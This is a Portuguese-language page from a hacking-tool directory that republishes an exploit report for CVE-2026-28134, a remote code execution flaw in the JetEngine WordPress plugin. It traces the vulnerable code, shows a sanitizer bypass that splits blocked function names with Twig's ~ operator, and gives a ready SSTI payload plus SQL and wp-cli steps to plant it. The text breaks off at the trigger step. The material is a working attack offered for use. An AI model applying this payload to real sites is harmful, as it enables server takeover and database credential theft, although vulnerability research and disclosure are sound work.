Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-28134 — JetEngine <= 3.7.2 - Autenticado (Contributor+) Execução Remota de Código | Kitploit
Ferramentas/GitHubGitHub/randomrobbiebf/cve-2026-28134
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebDesenvolvimento de Payloads
GitHubrandomrobbiebf/cve-2026-28134

CVE-2026-28134

JetEngine <= 3.7.2 - Autenticado (Contributor+) Execução Remota de Código

Ver Repositório
16há 6 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Relatório de Exploração CVE-2026-28134

JetEngine <= 3.7.2 — Execução Remota de Código Autenticada (Contribuidor+) via SSTI em Twig

Data: 11 de março de 2026 Pontuação CVSS: 8.8 (Alta) Vetor CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Plugin Afetado: JetEngine <= 3.7.2 Slug do Plugin: jet-engine CVE: CVE-2026-28134 Status: Privado Versão do WordPress Testada: Última


Resumo Executivo

A CVE-2026-28134 é uma vulnerabilidade de Execução Remota de Código no plugin JetEngine para WordPress que afeta todas as versões até 3.7.2 inclusive. A vulnerabilidade permite que atacantes autenticados com acesso de nível Contribuidor ou superior executem comandos arbitrários do sistema operacional no servidor, injetando um template Twig malicioso em um post de Listing do JetEngine.

A cadeia de ataque combina três fraquezas:

  1. Um despachante AJAX não autenticado, sem verificação de nonce ou capability, que renderiza templates de posts de Listing.
  2. Um mecanismo de renderização Twig/Timber sem sandbox — apenas um sanitizador baseado em blocklist de strings.
  3. Uma bypass do sanitizador usando o operador de concatenação de strings ~ do Twig para dividir nomes de funções bloqueados entre tokens.

✅ VULNERABILIDADE CONFIRMADA — RCE Total Alcançado

Impacto confirmado:

  • Execução arbitrária de comandos do sistema operacional como www-data
  • Acesso total de leitura ao filesystem (/etc/passwd, wp-config.php)
  • Exfiltração de credenciais do banco de dados

Detalhes da Vulnerabilidade

Resumo Técnico

O JetEngine fornece um tipo de visão de Listing baseado em Twig/Timber. Quando o componente timber_views está habilitado, posts de Listing com _listing_type = twig têm seu post meta _jet_engine_listing_html renderizado como um template Twig ao vivo via Timber. O pipeline de renderização é acessível através da ação AJAX não autenticada wp_ajax_nopriv_jet_engine_ajax, exigindo apenas que o atacante possa criar ou modificar um post de Listing do JetEngine (função mínima de Contribuidor).

Componentes Afetados

ArquivoProblema
includes/components/listings/ajax-handlers.php:29wp_ajax_nopriv_jet_engine_ajax registrado — sem auth ou nonce
includes/components/listings/ajax-handlers.php:104call_user_func(array($this, $_REQUEST['handler'])) — despacho arbitrário de método público
includes/components/timber-views/timber.php:150render_html() renderiza template Twig controlado pelo atacante sem sandbox
includes/components/timber-views/timber.php:189sanitize_twig_content() — blocklist regex de strings, contornada por divisão de tokens
timber-library/lib/Twig.php:42-43O Timber registra fn()/function() como wrappers Twig para call_user_func_array

Cadeia de Exploração

Passo 1 — Despachante AJAX Não Autenticado

ajax-handlers.php registra a ação AJAX tanto para usuários autenticados quanto para não autenticados:

// ajax-handlers.php:29
add_action( 'wp_ajax_jet_engine_ajax',        array( $this, 'handle_ajax' ) );
add_action( 'wp_ajax_nopriv_jet_engine_ajax', array( $this, 'handle_ajax' ) );

O handler despacha para qualquer método público da classe com base em $_REQUEST['handler'], sem verificação de nonce ou capability:

// ajax-handlers.php:96-104
public function handle_ajax() {
    if ( ! isset( $_REQUEST['handler'] ) || ! is_callable( array( $this, $_REQUEST['handler'] ) ) ) {
        return;
    }
    if ( ! empty( $_REQUEST['page_settings'] ) ) {
        foreach ( $_REQUEST['page_settings'] as $key => $value ) {
            $_REQUEST[ $key ] = $value;
        }
    }
    call_user_func( array( $this, $_REQUEST['handler'] ) );
}

Chamar listing_load_more é publicamente acessível e aciona o pipeline de renderização de Listing.

Passo 2 — Pipeline de Renderização Twig

A cadeia de chamadas listing_load_more → get_listing → frontend->get_listing_item alcança:

// frontend.php:302
$content = apply_filters( 'jet-engine/listing/content/' . $listing_view, null, $listing_id );

Quando $listing_view = 'twig', isso dispara Jet_Engine\Timber_Views\Render::get_listing_content(), que lê o template Twig do campo meta _jet_engine_listing_html do post e o passa diretamente para render_html():

// timber.php:150
$template = $twig->createTemplate(
    $this->sanitize_html(
        do_shortcode( $this->sanitize_twig_content( $html ) )
    )
);
return $template->render( $context );

O Twig renderiza sem sandbox. A única proteção é sanitize_twig_content().

Passo 3 — Bypass do Sanitizador via Concatenação de Strings

sanitize_twig_content() remove nomes de funções PHP perigosas usando padrões regex de fronteira de palavra e depois verifica se o template foi modificado:

// timber.php:256-262
$dangerous_funcs = [
    'passthru', 'exec', 'eval', 'system', 'shell_exec', 'proc_open', 'popen',
    'assert', 'file_put_contents', 'file_get_contents', 'unlink', 'fopen', 'fwrite'
];
foreach ( $dangerous_funcs as $func ) {
    $input = preg_replace( '/\b' . preg_quote( $func, '/' ) . '\b/i', '', $input );
}

O padrão \bsystem\b corresponde ao token literal system. Ele não corresponde a "sys" ~ "tem" porque são dois tokens de string separados. O Twig avalia a concatenação no momento da renderização, produzindo "system" apenas em memória — o template fonte nunca contém a palavra bloqueada.

Payload de bypass:

{{ fn("sys" ~ "tem", "id") }}

O sanitizador vê fn, "sys", ~, "tem", "id" — nenhum deles está na blocklist. Ele passa inalterado.

Passo 4 — Execução de Código via Helper fn() do Timber

O Timber registra wrappers de chamáveis PHP diretamente no ambiente Twig:

// timber-library/lib/Twig.php:42-43
$twig->addFunction( new Twig_Function( 'function', array( &$this, 'exec_function' ) ) );
$twig->addFunction( new Twig_Function( 'fn',       array( &$this, 'exec_function' ) ) );
// timber-library/lib/Twig.php:290-297
public function exec_function( $function_name ) {
    $args = func_get_args();
    array_shift( $args );
    if ( is_string( $function_name ) ) {
        $function_name = trim( $function_name );
    }
    return call_user_func_array( $function_name, ( $args ) );
}

{{ fn("sys" ~ "tem", "id") }} resolve para call_user_func_array("system", ["id"]) — execução arbitrária de comandos do sistema operacional.


Prova de Conceito

Pré-requisitos

  1. O atacante possui acesso WordPress de nível Contribuidor (ou superior).
  2. O componente timber_views do JetEngine está habilitado (Configurações do JetEngine > Desempenho > Timber/Twig Views).
  3. O plugin da biblioteca Timber está instalado e ativo.

Configuração

Crie um post de Listing do JetEngine com o template Twig malicioso armazenado no post meta:

-- Define o tipo de listing como twig
UPDATE wp_postmeta SET meta_value = 'twig'
WHERE post_id = <LISTING_ID> AND meta_key = '_listing_type';

-- Injeta o payload SSTI (bypass do sanitizador via concatenação ~)
UPDATE wp_postmeta SET meta_value = '{{ fn("sys" ~ "tem", "id") }}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_html';

-- Define a fonte do listing
UPDATE wp_postmeta SET meta_value = '{"listing_source":"posts","post_type":"post"}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_data';

Ou via wp-cli (como o usuário Contribuidor):

wp post meta update <LISTING_ID> _listing_type twig
wp post meta update <LISTING_ID> _jet_engine_listing_html '{{ fn("sys" ~ "tem", "id") }}'

Gatilho (Não Autenticado)

Baixar ferramenta